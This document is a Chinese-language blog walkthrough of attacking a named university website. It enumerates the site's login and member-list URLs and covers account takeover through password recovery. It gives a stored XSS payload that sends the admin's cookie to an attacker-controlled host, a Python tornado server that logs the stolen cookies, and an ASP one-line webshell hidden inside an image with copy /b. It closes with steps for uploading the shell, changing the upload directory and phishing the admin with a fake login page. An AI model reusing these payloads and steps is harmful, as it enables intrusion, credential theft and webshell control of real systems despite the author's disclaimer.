笔者并不是黑客,更不是该校学生,但没有也不想对学校网站做什么破坏,本文也仅提供入侵思路,并非成功方案。也希望大家不要做什么违法行为!
有很多扫描工具,我是用明小子扫描一些可利用的url,笔者没有特别研究过什么黑客工具,但明小子这个工具是我从小学就开始接触使用的(现在都本科毕业了)所以印象深刻,直接网上随便下载一个下来用。直接在管理员入口扫描输入学校网址即可。
通过简单扫描后获得了许多链接,逐一打开看是否有可利用链接。笔者发现了2处登入入口和一处非常有趣的会员列表链接:
- 管理登入
http://www.xit.edu.cn/Admin/Admin_Login.asp - 会员登入
http://www.xit.edu.cn/UserLogin.asp - 会员列表
http://www.xit.edu.cn/UserList.asp?ChannelID=0&OrderType=2
通过会员列表获得会员账号,再通过密码找回获得用户。
通过上一步获得的账号,会员登入,登入后进入短消息管理界面,发送跨找攻击的短消息。短消息地址:
- http://www.xit.edu.cn/User/User_Message.asp?Action=Manage&ManageType=Inbox
<img src="../Skin/blue/powerease_logo.gif" οnlοad="resizepic(this);function resizepic(){
ck=document.cookie;
url='http://****.cn/sengo?ck='+ck
window.location.href=url;
};">
上面的代码是是通过onload方法没有过滤,来嵌入js代码,获得admin的cookie并传送到第三行url地址中。虽然第4行代码会重定向到新的url,但我在新的url地址里面会让它重定向回来。我们发送的时候伪装下标题。
只要admin用户打开该短消息,就会把他的cookie发送过来,而cookie中包含了账号和密码信息。其中,密码是md5加密的。但这不要紧,我们获取cookie其实就足够了。 如果想获取明文密码,我在后文中会提到方法。
之后编写我们接收端的代码,这里使用Python+tornado。
# -*-coding:utf-8 -*-
import tornado.httpserver
import tornado.ioloop
import tornado.options
import os
import tornado.web
from app_log import *
from tornado.options import define, options
define("port", default=8000, type=int)
class IndexHandler(tornado.web.RequestHandler):
def get(self):
try:
ck = str(self.request.uri)
ck = ck[10:]
info(ck) # 把cookie写到日志文件
url = 'http://www.xit.edu.cn/User/User_Message.asp?Action=Manage&ManageType=Inbox'
self.redirect(url)
except Exception, e:
error(e)
# 开启日志
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
enable_pretty_logging(options=None)
tornado.options.parse_command_line()
app = tornado.web.Application(handlers=[(r"/sengo", IndexHandler)])
http_server = tornado.httpserver.HTTPServer(app)
http_server.listen(options.port)
tornado.ioloop.IOLoop.instance().start()
上面的xss跨站攻击的代码通过get方式把cookie信息传送过来,而这里的python代码我们直接利用get方法获取cookie参数就可以了。代码很短很简单,如果看不懂可以看一下tornado最基本的get方式的写法,本文不过多累述。
在等待管理员打开短消息期间,我们可以先上传一句话木马。asp一句话木马代码如下:
<%a=request("sengo)%><%eval a%>
其中,“sengo”是一句话登入的密码。我们将一句话木马和图片捆绑。如何制作一句话图片木马,网上有很多方法,请自行查询。笔者建议直接dos下执行:
copy /b photo.gif+code.asp Button1.gif
其中,photo.gif是图片文件, code.asp是一句话木马文件。
制作完图片木马后,我们将其上传到如下地址:
- http://www.xit.edu.cn/user/Upload.asp?dialogtype=UserBlogPic&size=5
笔者本来借了台服务器挂上python脚本等待接收cookie的,奈何服务器借了几天就被朋友收回去了。所以做到这里就中断了,但不妨碍我们继续讲思路。
一旦获得了cookie,cookie包含了明文账号和经过md5加密的密码。我们可以做md5解密,可能会费时比较久或者直接利用cookie登入。其次我们也可以构造虚假登入页面,获得cookie的同时,我们不妨在Python代码中让它重定向到一个虚假的登入页面,模拟一个一模一样的会员登入页面诱导其登入。
当我们用“admin”管理员账号后台登入后,进入系统设置-》网站频道管理-》下载中心-》上传选项-》上传文件的保存目录,把里边默认的目录改成xxx.asp。
之后通过菜刀工具连接我们的一句话木马,即可上传大马小马等拿webshell。